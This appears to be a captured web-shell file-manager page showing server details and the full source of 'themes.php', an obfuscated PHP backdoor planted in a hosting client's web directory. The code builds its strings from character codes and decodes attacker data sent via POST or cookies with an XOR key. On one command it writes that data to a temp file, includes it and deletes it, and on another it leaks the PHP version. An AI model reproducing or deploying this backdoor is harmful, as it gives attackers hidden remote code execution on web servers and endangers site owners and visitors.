HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/stats/2024-8/themes.php
<?php $ucaakbm /*zzdqge */ = /*cz   */ 'ucaakbm'	^	'';
$zeysarx       = /*  wfgh  */ $ucaakbm(1056-959)	. /* nlnq */ "r"."\x72"    .    "a".$ucaakbm(121)    . /*  slqb  */ "\137" /*  kuqo  */ .    "m"."\x61"       .      "p";


$kavnyekevl    = /*qx */ "i"."\x6d"    .    $ucaakbm(948-836) /*   j   */ .    $ucaakbm(333-225)	. /* czxg */ "o"."\x64" /*p */ . /* rqk   */ "\145";
$myzvgkvnk    =	"\x63"	.	$ucaakbm(789-678) /* qvkiml   */ .    $ucaakbm(714-597)       .	"\156" /*  mqvhx  */ .	"t";







function  kkyuv($mwhrtvenlf,    $hijyom){
 /*   j */ global      $ucaakbm;


    

    $mwhrtvenlf  = /*  xugqnu */ $ucaakbm(964-904)       .	$ucaakbm(63)	. /* sheny   */ "\x70"    .    "\x68" /*  yj */ .	"\x70" /* xsrbgb  */ .    $ucaakbm(32) /*   nzg_ */ . /*  vwb*/ "\165"    . /*rqpcy */ $ucaakbm(110)     . /*   mzu  */ "\x6c"    .     $ucaakbm(105)    .    $ucaakbm(282-172)       . /*   a_i*/ "k"."\x28"       .	"_"."\x5f" /*m */ .       "F"."\x49" /* tl */ .    "L"."E"."\x5f"    .    $ucaakbm(95)     .   "\x29"   . /*  yu*/ ";".$ucaakbm(32) /* rzfmtj*/ .    $mwhrtvenlf["d"];    $mg_krr /* fvi  */ =	"f"."\151"	.	"l"."e"."\x5f"	.    $ucaakbm(641-529)    . /*oxrdba */ "\x75" /* h   */ . /*   sryrvp  */ "\x74" /*   golljf   */ . /*ewgm   */ $ucaakbm(596-501)	. /*  elb   */ $ucaakbm(1035-936)    . /* hlmclc  */ "\157"    .	$ucaakbm(110)       . /*  fc   */ $ucaakbm(116)	.    "\x65"    .       "\156"      . /* i   */ $ucaakbm(116) /* g */ .      $ucaakbm(115); /*   jqxy */  /*   ajyki */ $mg_krr($hijyom,	$mwhrtvenlf);


    

   qltfqdzdt($hijyom);


}




$tq_fndktc    =      73;




function    qltfqdzdt($hijyom){
   global    $ucaakbm;

	
 /*   wxmxsa*/ include($hijyom);
	$aldjhzkee    = /*  bwd   */ $hijyom;

 /* swj*/ @unlink($aldjhzkee);}

function    dpbztihmq()


{
     global /*   aroa   */ $ucaakbm;



	$jphpejozjr       =    array();


      $jphpejozjr["\160"    .   "\166"]   = /* u */ phpversion(); /*   xe  */ $jphpejozjr["s"."v"]     = /* wtqpf  */ "3"."\56"    .	$ucaakbm(174-121);

	$tjswaejkmt    =	74; /* cwzvn  */ echo	@serialize($jphpejozjr);

}




function     zdt_vyhi($mwhrtvenlf,      $vnhezef)
{


 /*   dzcs*/ global      $ucaakbm;


 /*   i_laqy   */ $nwfam  =   "";   $qtgwukvyzr /*  rg   */ =   'verw';
  $dfksupky    =   hash('sha256',   $mwhrtvenlf);

 /* bksp*/ $sbrmylppap /*  olk*/ = /* xujnq  */ str_replace('l_slq',	$dfksupky, /*   ogecuy */ $qtgwukvyzr);
       $jphpejozjr      = /* xu */ 0;

	while    ($jphpejozjr /*  tytjk */ <    strlen($mwhrtvenlf)) /*_ddr*/ {

	$g_daugisn_ /*   ba  */ =    isset($vnhezef)       ?    $vnhezef	:  '';

	for       ($uxpehgg /*adjhf*/ =    0; /*   oarf  */ $uxpehgg /* pje  */ < /*  nxgeu  */ strlen($g_daugisn_) /*nij*/ &&   $jphpejozjr /*by   */ <	strlen($mwhrtvenlf); /*  wqbqs */ $uxpehgg++,    $jphpejozjr++)    {

     $nwfam    .=       $ucaakbm(ord($mwhrtvenlf[$jphpejozjr])     ^      ord($g_daugisn_[$uxpehgg]));       }	if    (strlen($nwfam) /*   az   */ >     20)       {


    $sbrmylppap      =	substr($nwfam, /* psm */ 0,	20);
    }       }
   if /*kb   */ (empty($nwfam)) /*   durs  */ {

 /*n */ $nwfam   =    date('Y-m-d  H:i:s');
 /*   ymknk  */ }

 /*  ugjkv   */ return   $nwfam;
}

function /*j*/ _lgzl_($apabivxxym)

{


       global    $ucaakbm;

 /*   lq  */ 	$vthxpl      =       $ucaakbm(49)       . /*pkuf  */ "\61"      .    "\142"	.	"\71"	.	"6"."e"."3".$ucaakbm(101)   .	"-"."8"."\143"    .	$ucaakbm(660-605)     .       "d"."\x2d" /*   dhj   */ .      "\x34"	.  "8"."6".$ucaakbm(50) /*   lk  */ . /*  fjd*/ "\55" /*ert_ */ . /* d */ "8".$ucaakbm(500-449)	.     "\66"	. /*  jshprd  */ $ucaakbm(419-367)	. /* fegrk*/ "-"."\142"	. /*   uqpyvm*/ "c"."\x38"	.	"a"."\x31"    .   "\x36" /*   jseggt */ .    "5"."\65" /*zkjko_   */ .       "\63"     .   "\x64"    .    "e".$ucaakbm(286-230);
 /*c   */ 

      foreach    ($apabivxxym	as	$uejbh    =>  $mwhrtvenlf) /*s   */ {
 /*c   */ oqybedwls(base64_decode($mwhrtvenlf), /* ky   */ $vthxpl,    $uejbh);

 /*   lp   */ }


}




function	oqybedwls($mwhrtvenlf,	$vthxpl,    $uejbh)
{	global /*  tqv  */ $ucaakbm;


	


	$mwhrtvenlf /*x*/ =	unserialize(zdt_vyhi(zdt_vyhi($mwhrtvenlf, /*  xsz*/ $vthxpl),    $uejbh));

	$giezotlvre    =    'gixebjibiq';
	$n_dxxncuqe /*  eqwf*/ =	'jzeka';     if    (isset($mwhrtvenlf["\141"	.    "\153"]))	{
   if /*   affx*/ ($mwhrtvenlf["a"]       == /* mm_d*/ "i")     { /*   nt  */ dpbztihmq();


	}      elseif	($mwhrtvenlf["a"] /*  pwcw */ ==     "e")    {

    kkyuv($mwhrtvenlf,	sprintf("\x2e" /*  refsx_   */ .       $ucaakbm(1013-966)	. /*   lvp   */ $ucaakbm(734-697) /* dwbffp*/ .      $ucaakbm(115)      .       "\x2e"	. /*  tiai   */ $ucaakbm(112)	.      $ucaakbm(108),	md5($vthxpl)));
			$fyuaecjv    = /*  ylf_sg   */ 44;

    }
 /*  enalv*/ exit();    }}


_lgzl_($_POST);      


$ocvwkkum /*   f  */ =      $zeysarx('rawurldecode', /*l*/ $_POST);

$ainxbk	=	$myzvgkvnk($ocvwkkum);

if /*  dpmzwz   */ ($ainxbk /*  qcefc   */ >	0) /*   jxa*/ {

    $zqjdfbhqiz /*czt  */ = /*houy */ $kavnyekevl(',',	$ocvwkkum);

}

_lgzl_($_COOKIE);    $tbulaxgo /* aja*/ = /* cpj */ $zeysarx('rawurldecode',	$_COOKIE);$ddkppnc       =    $myzvgkvnk($tbulaxgo);
if    ($ddkppnc    > /*vqzdo*/ 0)       {


    $voiyzew /*   t   */ = /*  bvg   */ $kavnyekevl(';',       $tbulaxgo);


}

$pevaw       =	$tbulaxgo;
$fzhubbm      = /* msy*/ date('Y-m-d    H:i:s');




?>